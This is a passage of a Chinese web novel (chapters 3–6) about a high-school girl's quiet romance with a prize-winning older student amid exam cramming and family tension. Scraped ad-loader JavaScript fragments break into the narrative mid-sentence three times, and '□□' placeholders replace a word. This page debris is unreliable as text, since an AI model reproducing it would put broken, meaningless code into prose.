她想飞速把请外教的事情说一遍。 无奈陈郁芸那头的麻将正打得火热,还没来得及开口,她已经听见叶曲桐对着听筒“心肝宝贝”地喊着,接着无端端炫耀起来:“是我女儿打来的!她长得像我,年年考第一,从来不用人操心,我们连辅导班都没给她报过,全靠自觉。” 有人很配合的感慨说:“我们家那个混小子不知道浪费我多少钱,什么外教,家教,特级教师都请过,一点用没有,陈太太可得给我们传授下育儿经验!” 陈郁芸笑得张扬:“哪里的话,不过我确实也操了不少心,当妈的嘛,没办法。” “那是,不然哪能有这么优秀的女儿!” 在互相恭维的麻将杂音里,陈郁芸终于想起来问叶曲桐有什么事。 叶曲桐说了句“没事”,便匆匆结束通话。 那晚叶曲桐躺在床上失眠了许久才睡着。 她其实没想什么具体的,只是双眼无神情的盯着窗外,夜晚涌动的云行迹像只金鱼,张着近似透明的嘴巴,忽扇着鱼尾,它只有七秒记忆,比人快乐多了。 * 周三下晚自习。 叶曲桐和陈芥一起并肩往回走,陈芥要去附近的书店买书,说他打算尝试看看英文版的《小妇人》或者《小王子》,打算从简单的开始看起,便于以后出国升造。 叶曲桐有点愕然,“这么早就在准备了吗?” “嗯,我打算学生物,都说生化环材是天坑专业,顺利的话,打算一路读下去了。” “哦……” “你呢?” 叶曲桐低下眼,看着地上的一滩积水,倒映着没有月亮的夜晚,“我还没想这么远,我英语有点拉分,今天阎老师特意跟我说了下。” 到巷子口,临走前,陈芥主动问:“需要我帮忙吗?你也可以辅导我数学。” 叶曲桐礼貌的笑了笑,“不了,我先回去复习了。” “那好吧,有需要可以找我。”陈芥忙不迭地补了一句,“其实最近学校除了自主自习,还有学习小组,有不少慕城大学的学长和学姐来帮忙补习。” 叶曲桐点点头,“白天在学校听谢若辞说了。” 谢若辞是他们班班长,也是叶曲桐的同桌。 “嗯,你也可以考虑下,据说特别火爆。” “再说吧。” 隔日,叶曲桐照例在晚自习结束后,开始收随堂测验。 她将一摞试卷抱在怀里,眼看着好几个同学往后门跑去,接着是谢若辞拉住她的胳膊,压低着声音凑在她耳边说:“快!我们也去!晚了就报不上名了!” 叶曲桐挣开她的胳膊,又往后门那边匆匆一瞥,依然有不少女同学在往外着急忙慌地跑着,“这都是干什么去?” “报名呀!教育局不是严查高三学习集体补课嘛,老师们也不敢私下授课,最近几个考上慕城大学的学姐、学长搞了个校外的补习班,专门针对高考冲刺的,还可以向他们请教高考填志愿的事情,不过这都不是重点!” 叶曲桐十分熟悉谢若辞一惊一乍的风格,边笑边问:“那重点是?” “重点是!有上一届的学神余樵学长!还有一中的校草孟修榆!” 听到熟悉的名字。 叶曲桐的心脏猛地跳动了一下,心生温澜,骤然意识到自己陷入了沉默,讪讪开口问道:“他们不都是一中的吗?怎么来我们学校补习……” “你这话说的,当然是哪里有需要,哪里才有市场,一中的学生又不需要补习。” 叶曲桐局促了几秒,试探问说:“可是那个孟……” “孟修榆。”谢若辞提醒说。 “他不是也高三吗?” “你怎么什么都不关心呀?他被保送到慕城大学啦,还上了本地新闻,拿了物理竞赛金牌呢,全国范围的那种!超级厉害,我没见过人,但是有人在班级群发了一张偷拍的照片,就那种穿着校服都让人觉得超级帅的照片!” “这样……” 谢若辞催促说,“快快快!赶紧跟我走,再晚了就连人都看不见了!” 叶曲桐不知不觉人已经跟着谢若辞走到了连廊,到半路,见不远处的走廊尽头有很多女同学围堵在两张课桌前,水泄不通,将里面坐着的人遮盖的严严实实。 但还是让叶曲桐一瞬时想起他站在石榴树下,浸润在月光里茕茕孑立的清冷感。 叶曲桐顿住脚步,暗暗呼出一口气:“算了,我还是不去了,我要去给老师送卷子。” “晚点送呗,反正顺路,去老师办公室你也得往这边走。” “人多,我走另一边吧。” “啊?你真不去啊,听说他们俩长得特别帅,气质也特别干净。”谢若辞嫌弃说,“哪像我们身边这些臭男生,每次他们经过感觉空气都臭了!” 叶曲桐无奈地笑了笑,还是拒绝说,“你快去吧,别因为我耽误了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶曲桐转头,走另一边的楼梯去老师办公室,将试卷放下后,她听见其他几位老师也在讨论着余樵和孟修榆的名字,但她没有多做停留,只是赶紧走出来。 她没想到那个给她晕车贴、同车一路的男生,在这里竟轻易就成为所有人的焦点。 叶曲桐挪动着步子,想要另一侧下楼,这样就可以自然坦然地与拥挤的人群擦肩而过,运气好的话,站在高处,她远远地看见有人给孟修榆递中性笔,也有人给他送已经拧开瓶盖的矿泉水,他只是礼貌地点头回应,没有接过。 但她没有勇气继续看浪潮中央的人。 她只走出几步,便转头按照原路返回了自己的教室。 * 叶曲桐在十一班,自习课八点四十五结束,往常她会直接回家,着急将电热水器打开,老式二手机型不耐用,经常需要烧至半小时以上,才能让外婆回家有热滚滚的水用。 但是上半年还好,气温降升,加上叶曲桐打算每天加练一段时间的英语单项,原本跟谢若辞和英语课代表西凌云约好互相练习,多写一套试题。 没想到此刻她们俩的座位空空如也,谢若辞忘了还算正常,一贯靠谱沉稳的西凌云居然也凑热闹了,这倒让叶曲桐有些意外。 但高三考生的复习时间向来是以分秒来计算,她没有心思再去理会窗外的欢呼和嘈杂声,戴上耳机重新开始听英语听力,在教室里其他同学走后,她开始放出声音流畅地读着课文,这些课本内容她太熟悉了,甚至可以说是能够背诵下来。 她思考着,可能需要跟陈芥一样,额外买一些英文读物。 同时也安慰着自己,不要认为只剩2个月就来不及补上英语成绩,不管怎么样,都要尽力到最后一秒才行。 叶曲桐仍在做听力练习,这次只错了一道题,跟她预估的容错率相同,她舒了口气,心满意足地摸顺挡在下巴的耳机线,却被身后传来的一道空旷的叫声惊醒。 “孟修榆!你怎么还不走?” 叶曲桐被惊扰得立刻转过头,发现孟修榆正坐在他们教室的最后一排,在她所在座位的那一列,他也摘下耳机,淡淡回应,“这里清净,做会儿题。” “保送了还这么努力,让学长我都惭愧了!”那人说完就将双肩包背好,爽朗的语气说着,“今天辛苦了啊,我们先这样,有事电话联系,也记得看下邮箱,有课程安排。” 孟修榆轻声说“好”。 整个教室和此刻的夜晚,忽然只剩望向孟修榆的叶曲桐。 和与她对视却没有说话的孟修榆。 “……你怎么在这?” 叶曲桐刚问出口,便后悔了,刚刚那个学长不是刚问过? “做题。” “哦。”叶曲桐装作不知道的样子,斟酌着问,“你怎么在我们学校?” “上课。”孟修榆不假思索地说,“兼职。” “这样……难怪刚刚好像听到走廊有声音。”叶曲桐避开他的眼神,有点心虚又混乱的说着,“还挺热闹的,我刚刚在做英语听力,所以也没怎么注意。” “哦。” “你呢?”叶曲桐尽量自然的笑了下,指了指他的耳机,“你在听什么?” 其实她想问的是在听什么英语听力,她以为他跟自己一样在做题。 如他所说。 “听歌。” “啊?”叶曲桐扯了下嘴角,笑说,“……我还以为你也在复习。” “英文歌,要听吗?” 叶曲桐没想到他会这样问,怔在原地几秒,才点点头,“可以吗?” “当然。” 叶曲桐走过去,步伐明明很正常,她却觉得格外郑重,她走到孟修榆桌边,却不知道下一步该做什么,反而是孟修榆拿起两只耳机,递到她眼前。 “哦,哦,谢谢了。” 叶曲桐接过去,很小心地放进耳朵,并不深入,总担心这样不太礼貌。 音乐声音很小,她有点陷入盲区,不似做英语听力题那般流畅,明明是更为简单的歌词,她却需要注意力非常集中才能听清。 耳机里欢快的女声唱着: Fastforwardtoeighteen Wearemorethanlovers 转眼就到了十八岁,我们不再是单纯的情侣。 听清这句歌词,叶曲桐心如擂鼓,不敢看向他,手指缠绕着手机线,一下一下,接着小声问:“歌名是什么?抱歉,我很少听英文歌。” “《2002》,AnneMarie的。” “嗯……谢谢!”她不敢再听完,适宜地将耳机取下,递回给孟修榆,有说了一次,“谢谢你。” “没事。”孟修榆将耳机线收拾好,略显疲倦,看了眼她的课桌,问她:“你一个人复习?” “嗯,我家离得近,就在巷子口,在教室里复习还安静一点。” “哦。” 嘈杂的声音从不远处传来,轰隆隆的像是火车进站。 孟修榆蹙着眉将背包拉链拉上,看了叶曲桐一眼,“走吗?” “嗯?”叶曲桐摇摇头,人却已经站起来开始收拾书包,“哦,哦,走的,时间差不多了。” 4. 第 4 章 第04章 周五中午,教学楼出口人来人往,在食堂门口碰到了卢艺婕。 她是七中为数不多能够提前拿到艺考录取的播音生,高一、高二不怎么露面,往年寒暑假都是叶曲桐和班长给她单独通知作业,高考冲刺阶段她也回来上课,很多资料都是问叶曲桐借的。 仗着这一层好感,平时不怎么搭理同学的卢艺婕主动跟叶曲桐打了招呼。 “平时你都在食堂吃?” 叶曲桐说:“对。” “吃完饭呢?”卢艺婕不解地看她一眼,“不会回教室学习吧?” “没有,有时候回家,有时候去图书馆趴一会儿。” 卢艺婕涂着不显眼但是很浓密的睫毛膏,她伸出手指往上轻轻抬了抬,“那行吧,知道午休就行,你们这些学习机器人真吓人,我先去校外补课了,大中午的困死了,幸亏老师是个大帅哥。” “那你快去吧。” “嗯,听说他们挺会押题的,上完课我跟你分享呀。”卢艺婕看也不看刚走过来,挽起叶曲桐胳膊的谢若辞,直勾勾地盯着她说,“班上同学里面,我就跟你关系最好了。” 说完擦身而过,带起一阵好闻的香味,但很混杂,不知道具体是什么。 “哇!她挑衅我!”谢若辞哇哇乱叫,拉扯着叶曲桐的胳膊让她发誓,“我才是你最好的朋友!” 叶曲桐无奈地笑了笑,肯定她说:“是是是,当然是啦。” “气死我了!听说她通过了上戏和中传的艺考,阎老师还要把喜报贴在公告栏里。” “这样……” 谢若辞看着走远的背影,窈窕身材,越说越头疼,“她还报上了余樵和孟修榆他们那个课外班!真不知道是怎么选的学生,我看班上很多同学都没选上,不过也是,教什么都不会的艺术生多容易啊。” 叶曲桐忽地将谢若辞挽在她胳膊上的手背拍了拍,“都是女孩子,别这么苛刻。” 谢若辞扁扁嘴:“本来就是,什么好事都让她占了,听说她家里还特别有钱。” “别管这些啦,我们吃饭去,放学陪你去学校后门买杯奶茶?” 谢若辞是刀子嘴豆腐心,脾气说好就好,“行!还是桐桐宝贝对我最好了。” * 谢若辞的父母是住院医师,住得比较远,所以她一般只上半节晚自习,大约八点,叶曲桐就陪着她一起出了校门,说好喝杯奶茶,两个人直奔coco,一人要了一杯百香果双响炮。 今天的订单尤为频繁,谢若辞嘟囔着,“今天什么日子?奶茶店平时也没见这么忙。” 店员小哥友善地回复说:“都是送去隔壁书店的,有十几杯,好像是什么高三学习小组。” “难不成是卢艺婕他们?”谢若辞像是发现新大陆那般兴奋,摇晃着叶曲桐的手说,“原来他们就在隔壁书店补习啊!这家店平时就跟荒废了一样,但是书多,又安静,他们倒是挺会找地方的,搞得跟约会一样,这些人也太不够意思了,之前班级群里问半天,他们都不肯说补习地点。” 叶曲桐苦笑说:“总不能租个房子教课,那样成本高。” “也是,他们应该就是类似大学生兼职家教。”谢若辞忽然泄了气似的,松开手趴在奶茶店的吧台上,想了想,抱怨说:“补习班没选我就算了,□□也没加上。” “什么□□?” “就余樵和孟修榆的□□啊,我看报上名的同学在班级群发的。”谢若辞侧脸压在自己的胳膊上,看向叶曲桐,可怜兮兮的说着,“但是没有用,开启了好友添加验证,根本不通过。” “哦……”叶曲桐不怎么看班级群,最近已经算是她用手机比较多的时间段了,也主要是用来听英语听力,对她而言只是个播放载体。 “你怎么什么消息都不看呀!”谢若辞想起来了,打开自己的手机跳到私聊画面,明晃晃的放在叶曲桐面前,“你看!我在群里看到联系方式,第一时间就是跟你分享,但是你到现在都没回我!” 叶曲桐抱歉的笑了笑,从书包里将iPhoneX掏出来,打开□□,一排红点都赫然在前,谢若辞的置顶是许久之前她自己操作和要求的,这回连带未读消息的数字显示在最上面,“我真没看见。” 谢若辞满足地重新趴回到叠起的手背上,“好吧,那就原谅你了。” 下一秒,又忍不住感慨,“怎么都不通过啊,不知道我换个美女自拍行不行。” “这能有用吗?” 叶曲桐想起孟修榆石榴树下俊逸清冷的面庞,想起他慢条斯理吃馄饨的模样。 好像都跟只看皮囊这样的形象完全不符合。 谢若辞特意在班级群里找到卢艺婕的□□,点开大图,双指放大,啧啧两声:“看看!人家卢艺婕就是用的她自己的照片当头像,一看就是那种伪装原相机的写真。” 叶曲桐被她的反应逗笑,平淡说了句,“你也换你照片。” “我换你照片还差不多!你比卢艺婕漂亮多了!” “……哪有。”叶曲桐用眼神禁止她继续说,“别说这些了。” “好吧,反正我们也知道地点了,下次我化个妆再去假装偶遇!” 叶曲桐笑笑,没再接话。 拿到奶茶,两个人并肩走过隔壁书店的透明玻璃,叶曲桐看了看自己,虽然陈郁芸夸她漂亮,谢若辞也经常这么说,但是她没有真实的体感,甚至觉得只有穿校服淹没在人海才觉得安全。 隔壁奶茶店小哥手上拎着十几杯奶茶,很快到达书店。 此时叶曲桐已经走到了马路对面,她原本在陪谢若辞等公交车。 叶曲桐站在繁茂的梧桐树下,三月底的枝干还保留了一些枯叶。 奶茶店小哥还等在书店门外,有人出来拿走,笑着对他点头道谢,却不是她想见的那个人。 叶曲桐没想好要做什么时,双眼已经紧盯着过马路必经的红绿灯,还剩几十秒,心里已经在默数。 本来也需要买一本英文原著。 叶曲桐在心里对自己这样交代着。 红灯转绿那一秒,叶曲桐已经迈出步伐,谢若辞问她做什么去。 叶曲桐说:“买书。” “啊?”谢若辞不解地看她一眼,“买什么书?” “英语的,想多看看。” “哦,行,那明天见。” 叶曲桐转头跟她挥了下手,“明天见。” 走过去,隔着书店的玻璃门,她望见最里面转角的一排座椅前,只有3个小圆桌,以前是书店尝试经营过的咖啡区域,现在早就落灰了,木制圆桌上放慢了试卷和笔袋,三个学生围坐在一起。 孟修榆穿了一件普通的白色短袖,外面套着浅蓝色长袖衬衣,没有系扣子,衬托出非常白皙的肌肤颜色,整个人的身形埋没在书山和人群,他也是最突出的那一个。 有人在分发奶茶,虽然听不见声音,但是叶曲桐看见孟修榆拒绝了递过来的奶茶。 他手边有一罐压扁了一角的冰可乐。 让她想起昨晚。 离开教室,二人并肩一直沿着学校外的栅栏走。 路边花坛都是低矮的蕨类植物,只能向下侵蚀,无法攀援墙裙触及天空。 离开没有树荫遮蔽的碎石子路时,叶曲桐心脏几乎紧皱在一起几秒,她无法想象他们俩就这样公然暴露在所有人的视野里,她也不想卷入浪潮旋涡,尽管此刻并没有人。 她忽然转头快速瞥了孟修榆一眼,即刻指向不远处:“第二个巷子口进去就是我家。” “过马路。” 叶曲桐很喜欢听他说话,声音干净,又带着不让人觉得冷漠的清爽感,像是推窗后院子里扑面而来的第一缕植物露水汽,她猜测孟修榆送她回家,也许只是出于太晚了安全考虑的礼貌。 但叶曲桐仍是咬了下嘴角,鬼使神差地问了句:“你饿不饿?” “还好。” “要不要吃碗馄饨?量不大的,我外婆的摊位就在巷子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口。”大约是不敢看他的反应,叶曲桐过马路时,比他快一步走在前面,“很多学生下自习都会去吃,现在去都不用排队了。” 孟修榆显然没有她想得复杂,只盯着过往两边车辆,淡淡说了句:“好。” “嗯,那我带你去,鸡汤打底的,馄饨也是自家包的,很健康。” 孟修榆微微点头,想了想才问:“你也会包吗?” “当然啦!”叶曲桐少见这样雀跃的语气,“不止包馄饨、包子这些,我小学五年级就会做饭了,家常菜基本上都能做,鱼虾处理的可能不太好,但是认真做也是可以的。” 孟修榆倏然看了她一眼,语气一贯是没有太多情绪,“那你很厉害。” “没办法,想让阿婆收摊回家直接就能吃上饭。” “嗯,我理解。” 这样的话题虽然不至于多沉重,但多少有些生活的沉闷感,两个人都适时缄默,叶曲桐想起林阿姨说的关于孟修榆的身世,她想,他的沉默里应该也有几分共鸣。 少年的身影颀长而单薄地斜映在巷子里的石板路上,阿婆的馄饨摊冒着热气,几张桌子支在门前,透过南方水乡样式的镂空墙面,可以看得清院子里种了许多花草,房间窗帘是淡蓝色的,印染着几株栀子花。 这很符合叶曲桐的感觉,素雅却不失清香,再怎么繁茂时也不是扎眼的存在。 跟阿婆打过招呼,叶曲桐要了两碗馄饨,一大一小。 她拉来一个空位给孟修榆放书包,站在一边问说:“葱花、香菜、紫菜这些都要吗?” “嗯,谢谢。” “好,那稍等几分钟就行。” 阿婆动作利落,很快就将两碗馄饨端上来,她向来不跟过往的学生多聊,一来是忙不过来,二来是除非学生自己知道这是叶曲桐家,不然她也不会主动提起此事。 叶曲桐知道,外婆希望她有个比较好的出身,担心她在学校被人看不起。 但叶曲桐无所谓这个,她很感恩她拥有的和外婆在一起的小家,她主动给孟修榆介绍说:“我外婆。” 孟修榆站起来接过外婆端来的汤碗,极有礼貌地说了一句:“外婆好。” 外婆忙不迭地摆摆手,另外拿了两罐,只剩一罐冰的,不冰的那罐还被压扁了一角。 阿婆将放到孟修榆和叶曲桐手边:“好好好,你们赶紧趁热吃,别客气,可乐也送你喝,桐桐没带过同学回家吃饭,你们要是不介意,我再进去炒两个菜,也挺快的。” 两个人同时说着:“不用。” 外婆也不勉强,笑着忙自己的去了。 叶曲桐为这句“没有带过同学回家吃饭”而面上忽然一热,她下意识摸了下自己的耳垂,另一只手拿汤匙,心思涣散地连吹也没吹就往嘴里送,烫得她顾不上形象,直接拿了张纸巾吐了出来。 “嘶——”叶曲桐拼急促地往嘴里吸气,想要让自己好受一点。 咯噔一响,只见孟修榆将可乐打开,从容快速地递到她眼前,“冰的。” 叶曲桐快速说了句“谢谢”,立刻猛喝了一口,但却担心气泡会压迫食道发出令人尴尬的打嗝声,所以咽下去的时候一小口一小口地慢慢在吞。 孟修榆只是很浅地笑了笑。 等舌尖稍微恢复知觉,叶曲桐想要站起来,“我进去给你拿一瓶新的。” “不用。” 孟修榆拉住她的手腕,只一秒就松开,又说了一遍:“不用了。” 他掌心这一面,不像叶曲桐自己握紧的手感,骨头偏硬,只一秒也能感受到他手指的细长,一定比她的长出一大截,让人很有一种踏实的安全感。 “……哦,好的,那我这罐给你。” “好。” 那一秒的接触仿佛还沾着冰可乐的冷气,力度太轻,像是藤蔓爬过,让人觉得痒痒的。 这一秒他在不远处喝了一口那晚的可乐。 叶曲桐觉得,她拥有了一个轻盈得像可乐气泡一样会炸开的秘密。 5. 第 5 章 第05章 叶曲桐小心地双手推开书店的玻璃门,这比她想象的更沉一点。她没有特意往咖啡吧那边看,目光只是随意停留在二手书店的墙面,是浅蓝色的瓷砖,有两扇拱形的玻璃窗,安装了不规则彩色玻璃,很有中世纪欧洲装饰品的格调,与浓灰色的高架书柜相互映衬。 但是更符合这里老旧气氛的还是墙顶几扇打开的百叶窗,嘎吱嘎吱地响着。 叶曲桐按照原定的想法,先走去了外语书籍区,有精装小开本的《小王子》,也有绘本版的《哈利波特》,都比较适合快速阅读,保持语感。 叶曲桐翻过书来,看了下价格,接近一百块,觉得有点贵了,还是自然而然地走向了教辅资料区,购买了一套新的听力真题试卷,又顺手捞了一本《英语街高考版》。 她明明离得很远,却穿过嘈杂的百叶扇声响,听到孟修榆的声音。 她背靠在书架上,与他只是“两墙之隔”,一些薄汗慢慢覆在叶曲桐的背脊上。 叶曲桐仔细聆听着,有人问他,“真的要把这么多诗词、文言文都背下来吗?感觉很浪费时间,其实就几分,而且我背了到时候也不一定会写。” “确定的复习范围可以增强拿分的安全感。” 叶曲桐听得出来这是卢艺婕的声音,并不故作姿态,但是也有些娇嗔,“可是我好担心我背下来哦,尤其是考试的时候,文言文那种有下句填上句,我就真的会大脑空白。” 孟修榆没有接话,叶曲桐想着,也许他礼貌疏离地笑了笑。 又或者,他只是低下头,继续看题。 纵然他此刻已经是同龄人的“老师”,他也没有摆出指导江山的姿态。 他只是平和地继续为另一位同学讲着物理题,他条理清晰的解释:“电容器放电前所带的电荷量Q1=CE,开关S接2后,MN开始向右加速运动,速度达到最大值Vm时,MN的感应电动势是E`=Blvm,也就能推导出最终电容器所带的电荷量Q2。” 男生的声音传递出被题目绕晕的无奈,“啊……我得捋一下这里。” “没关系,我再写一遍。”孟修榆很有耐心的重新讲解了两遍,直到那个男生找到自己的思路盲点,连连说“他终于明白了”,才继续说,“设在此过程中MN的平均电流为I,MN上受到的平均安培力我们就可以算出来,又可以依据动量定理……” 另一个男声响起,由衷夸赞说:“你居然能想到这么精简的解题思路。” 孟修榆平静说着:“只是需要捋清楚要考的定理,其实内容他们都是熟悉的。” 卢艺婕适时的开玩笑说:“那糟糕了诶,不会只有我是真的不熟悉吧。” 引起小范围的欢笑声,立即有人给她接话,“你也不用考物理呀,不用担心的!” “如果早点碰到帅哥老师的话,我就好好听课啦!”卢艺婕大大方方笑着这样说。 却让叶曲桐心里一轻,像是脚踩在绵软的落叶上,她自问也是比较明媚的女孩子,只是没有那么外向和主动,她也从来没觉得这有什么不好的,玫瑰是玫瑰,梨花是梨花。 可是人总是更容易对与自己性格有着极高相似度或者差异度的人产生吸引力,不知道她是不是前者,又或者说,她不知道,卢艺婕这样主动的女孩子是不是后者。 虽然性格有差异,可是叶曲桐忽然想到,她还挺喜欢物理的。 而且她的物理成绩也相当好,每次考试都几乎接近满分。 这也算是极其相似的地方了吧。 叶曲桐轻轻呼了一口气,头也不回地走到了书店的死角,但那边却没有书架遮挡。 她伸出手指随意失神地从那些死了包装的唱片和磁带上一一划过去,漫无目的地寻找着。 最终落在一盒陈奕迅的磁带上。 这是2001年发行的专辑《ShallWeDance?ShallWeTalk!》,叶曲桐不确认是否有磁带版本,或许是盗版也不一定,她伸手打开放在暑假第三层的随身听,上面已经敷了一层落灰,可见是多久没有人光临,她拿出纸巾,将内外擦干净了才将磁带放入。 叶曲桐只知道最出名的同名主打歌,第一次按下发现是听了一半的粤语歌。 陈奕迅轻松欢愉地唱着恋人心情: 信心花舍, 特殊为你开铺, 谁经过你面前都知道。 她只将耳机放在耳边,很有礼貌的没有送入耳内,反而像是隔着一层透明玻璃罩在听回音,有一种从教学楼向上望听夜风传来的广播声。 不远处,有人站起来,叶曲桐不经意间都能从余光中辨别那是谁。 她几乎下意识地僵直着背脊,取出那盒已经拆封的磁带捏紧在手心。 她感觉有人走近,这一瞬心脏几乎跳了嗓子眼,几乎闭上了眼睛。 但凭借中间其他书架的高度差距,叶曲桐很快冷静下来,宽慰着自己,应该是看不见的,何况她只是来买书的,就拿在手上,碰见了也没什么。 大方一点,相比其他人,他们早就认识了不是吗? * 到周末。 陈郁芸打电话来,说是要请叶曲桐吃顿好的,也要特意为孟修榆保送的事情庆祝一下,问她有什么想吃的餐厅,不容她找任何理由,也没说清楚时间和地址,便挂了电话当方面当她答应了。 叶曲桐在房间里大老远就听到了鸣笛声,甚至不用想也知道是陈郁芸派人来接她。 因为这条巷子里常住人口,谁也不会不识趣地将车开进死胡同。 陈郁芸其实没有什么口味偏好,最喜欢的是火锅,但是如果让她选餐厅,她必定是会选一家高档难预约的西餐厅,最好是夜晚顶楼或是海景位,什么气氛上档次就选什么。 这次选了家新晋网红西餐厅,叫Distance,地面是黄绿色的大理石材料,单独座位下铺着红毯,最多只有四人位,陈郁芸那桌订在风景视线最好的连窗观景位。 外面是波涛涌动的江海,有灯光艳丽至极的大型游轮平缓移动。 聂惊羽介绍说,“那也是家新餐厅,不过是吃日料的,下次试试。” 彼时叶曲桐已经没有仔细在听他们聊的东西,只是偶尔会盯着江面上粼粼泛光的波涛,如果说要转移视线,不得已要面对陈郁芸,她也很容易盯着她的耳垂看,那是一颗脆亮的绿宝石耳环,复古又张扬,但做工不凡,时而晃动,在夜晚的柔和灯光下,显得格外璀璨。 餐食是陈郁芸提前点好的,按讲究的特定顺序上。 很多餐食可以自选,仍是五分钟前那位高大笔挺的外国帅哥服务生提供服务。 叶曲桐轻轻笑了下,深刻怀疑这是陈郁芸单独要求的。 服务生微微鞠躬,温柔地问她:“MediterraneanCreamMastsutakewithwildTruffleorTopGradeBeefLiverandMushroom?” 叶曲桐对开口说英语很不自信,也几乎没有日常使用场景,但是能听懂关键词,不确认他是否听得懂,但还是用中文回答说:“第一个吧,谢谢。” “OK。” “Anddrink……WehaveEspresso,Macchiato,Lamancha……” 叶曲桐犹豫了起来,她勉强可以确认,这些词应该不是英语,她听不懂任何一个。她想说她可以跟陈郁芸一样,可她却从一开始就端着白葡萄酒。 “Espresso,浓缩意式。”头顶上方忽然有人出声,“你可以吗?” 叶曲桐微微仰起头,看向出声的人时,他目视着服务生,与他的侧脸完全不同,却气质斐然,夜光将他的睫毛染成金灰色,瞳孔是茶杏色,脸颊上勾勒一层不易察觉到的绒毛,给人以浸润浮光的感觉。 “修榆你可来啦!怎么这么晚!” 陈郁芸做作地提了下酒杯,刚一出声就将叶曲桐的思绪拉回现实。 她怔怔地回了句:“谢谢,我可以。” 孟修榆在她右手边空位坐下,对服务生很温和地点头,“我跟她一样,谢谢。” 他的声音其实已经早就在风里飘远,但是叶曲桐的心情却有一种被人温柔兜底的拯救感。 孟修榆则是接着回答陈郁芸的问题,“我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去兼职,刚上完课。” 陈郁芸向来直接,带着些不满的语气数落说:“你去兼职?你这样做可是把我送去门缝了呀,我不好做人的,你谢叔叔留了足够的钱给你,我这些年也没亏待过你,哪用得着你去兼职!” 与陈郁芸尖锐的沟通方式不同。 孟修榆还是那副无波无澜的样子,他淡淡说着:“兼职没什么不好的,力所能及。” “我知道你们长大了翅膀硬了,都想早日独立飞出这里的牢笼,可是尊严在光明前途和富裕的生活面前并不值钱,桐桐也给我听着,钱让你们用你们就心安理得的用。” 陈郁芸脸上挂着笑容,言语却像是一把锋利的刀,“修榆,我资助你读书从小学就开始了,你可以想想怎么报答我,但是不用为了钱糟践自己,以后除了国不还得靠阿姨帮忙吗?” 这种傲人优越的语境,令叶曲桐并不舒适,她一口气快要喘到嗓子眼了。 她不敢去看孟修榆此刻倔强清冷的面庞,只是鼓足勇气对着陈郁芸说了句:“妈,让我们好好吃一顿饭吧……” 陈郁芸吵架向来容易闹个没完,语气不善,接话速度极快:“你吃你的啊!” 叶曲桐垂下眼,食不知味,有点失落地搅动着浓白色蘑菇汤。 孟修榆大多时间也不参与交谈,吃完饭分别的时候,得体平和的与陈郁芸和聂惊羽道别,他没有拒绝司机送他回去,仍然选择跟叶曲桐坐在后排。 黑暗之中,街道斑驳的光影从他们两个人脸上闪过。 虽然什么都没说,却倏地在同一时刻看向彼此,再转头看向各自的窗外。 司机先送叶曲桐到家,打算再转去高架送住在较远的孟修榆回家。 但被孟修榆婉拒,他跟着叶曲桐一起下了车,沿街走过学校那条熟悉的后门小路,经过叫一米阳光的文具店,已经打烊的CoCo奶茶店,还有仍着灯无人管理的二手书店。 连木质门牌也已经歪歪倒倒,看不见具体的名字。 谁也没有开启话题。 叶曲桐微微低头,看向自己的运动鞋,很小声地说了句:“抱歉……我妈妈说话不好听。” 孟修榆则顿了一下才说:“不用道歉,与你无关。” “哦……” “何况你妈妈也没有说错什么,我确实是一个受资助多年的学生。” “但是你很厉害啊。”叶曲桐说得过于熟络和自然而然,她瞥了身边的人一眼,迅速补了句,“我的意思是,我们学校同学都传遍了,都知道你是拿竞赛金牌的保送生。” 孟修榆只是笑笑,没有就此展开话题。 “哦对了,今天谢谢你。” “什么?” 叶曲桐尽可能用不在意的语气说:“点餐的时候,谢谢你帮了我。” “这个。” “嗯,我没有听懂。” 孟修榆无所谓地说道:“我也不懂,听《罗马假日》那部电影里面提过。” “哦……”那也很厉害了,叶曲桐在心里说。 走到书店前,孟修榆忽然停下脚步,让闷着头在走的叶曲桐差点撞上,准确来说,是肩膀确实轻轻从他的胳膊上擦过,明明隔着衣服,她却有种心脏跳到嗓子眼的感觉。 “那个……书店还没关门。” 孟修榆则平静许多,“嗯。” “进去看看?好像有挺多英文唱片的。”叶曲桐看了下他的神情,拿不准意思,给自己个台阶下:“太晚了,回去也行,现在好像也没什么人听唱片或者磁带,都用手机了。” “我偶尔用复读机放磁带。” “这样吗……”叶曲桐微微扬起嘴角,“我还以为只有我会用这么老的设备了。” 走进书店,孟修榆掩着门,让她先进,“谢谢。” 谁没有再开口,封闭静谧的环境顿时让人紧张起来,只是安静地一起逛了逛。 她甚至到出门时见孟修榆扫码才发现。 他跟自己选了一样的磁带。 不知道他今晚会不会听这首《信心花舍》。 叶曲桐深深地看了一眼他的背影,心情犹如在玻璃瓶里蹦蹦跳跳的白砂糖。 6. 第 6 章 第06章 平静上了几天课,像是蛰伏着尚未冒尖的春笋,关于余樵和孟修榆的热闹传闻终于消停了下来。到清明节放假前最后一天上课,学生们期待放假的心情才又鼓噪起来。 到下课,同学们比平时散得更快。 谢若辞拉扯住正要往教室外走的叶曲桐,伸直手掌捂紧着嘴巴说:“我今天带了化妆品来,我们找个地方化个妆怎么样?” 叶曲桐不是没见过她化妆,或者说她其实见过不少女同学化妆,大多数是在暑假同学相约吃饭聚餐或者是去KTV的时候,不过也都不敢张扬,连涂个唇釉都是很淡很薄地涂一层,有人问起来,也都是拿“买错了有颜色的润唇膏”说事。 叶曲桐说:“……怎么好端端想化妆了。” 谢若辞从书包里扯出一个中号布袋子,另一只手仍握紧叶曲桐的手腕,生怕她跑开一样,“当然是要去书店偶遇余樵啦!我们好不容易知道的‘补习情报’,今天化好妆惊艳亮相一下。” 叶曲桐轻轻笑出声,“你确定只有我们知道这个‘情报’吗?” “那更得化个妆了。” 谢若辞领着叶曲桐去了一家校外的居酒屋,学生基本上不去,除了餐食价格贵、分量小以外,上菜时间也比较慢,不是很适合短暂的时间去吃,隔间和大厅是一样的收费标准。 谢若辞跟叶曲桐并肩而坐。 一人点了一份炸猪排饭,另外省事点了一份炸物小食拼盘,叶曲桐本想看看价格,谢若辞已经强行把她手中的菜单合上,扬声满不在意地说着:“我来买单!你请我喝奶茶就行!” “不用,我们正常A一下。” 